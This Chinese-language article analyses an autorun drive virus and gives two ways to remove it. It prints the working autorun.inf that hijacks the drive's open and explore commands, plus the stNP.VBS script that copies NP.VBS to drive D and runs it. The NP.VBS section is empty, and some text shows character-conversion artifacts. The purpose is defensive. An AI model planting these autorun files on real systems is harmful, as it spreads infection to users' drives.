最新惡意復(fù)制型病毒autorun.inf，stNP.VBS，NP.VBS
及代碼分析與病毒處理兩種方法
方法一：來自于指間輕舞
此病毒最大的特點(diǎn)在于中毒后，自動(dòng)感染你的硬盤根目錄，并復(fù)制病毒文件。無論你是采用雙擊，還是右鍵選擇打開，或者運(yùn)行資源管理器都會(huì)自動(dòng)運(yùn)行其代碼（病毒），所以中此病毒后，新手往往打不開盤符，導(dǎo)致數(shù)據(jù)無法讀取。
下面是病毒的代碼分析 文件總共有三個(gè) 都很簡單，已經(jīng)加上了注解。
文件名：autorun.inf
復(fù)制代碼 代碼如下:
[autorun]
open=
shell\open=打開(O)
shell\open\Command=WScript.exe stNP.vbs
shell\open\Default=1
shell\explore=資源管理器(X)
shell\explore\Command=WScript.exe stNP.vbs
文件名：stNP.VBS
功能是檢測np.vbs是否存在,存在則運(yùn)行
復(fù)制代碼 代碼如下:
on error resume next
set fso = CreateObject("Scripting.FileSys""temObject")
if fso.FileExists("NP.vbs") = -1 then
if fso.FileExists("d:\NP.vbs") = -1 then
set f = fso.getfile("d:\NP.vbs")
if f.attributes = 0 then
else
f.attributes = 0
end if
f.delete(true)
end if
fso.copyfile "NP.vbs", "d:\NP.vbs", true
set wshshell = wscript.createobject("WScript.Shell")
wshshell.run "d:\NP.vbs"
end if
文件名：NP.VBS

病毒好像有點(diǎn)良心 不會(huì)感染C盤，所以解決的方法還是有的：用資源管理器打開C盤，然后在左邊展開其他盤符，在工具-文件夾-查看中去掉隱藏受保護(hù)的系統(tǒng)文件的鉤并選擇查看所有文件。將各個(gè)盤符隱藏的以上三個(gè)文件刪除，重新啟動(dòng)即可。
方法二：作者剛成功操作得出
只需要進(jìn)入WinPE之后，查找NP.VBS就可以連stNP.VBS全部查處，刪除這些惡魔，即可！！！
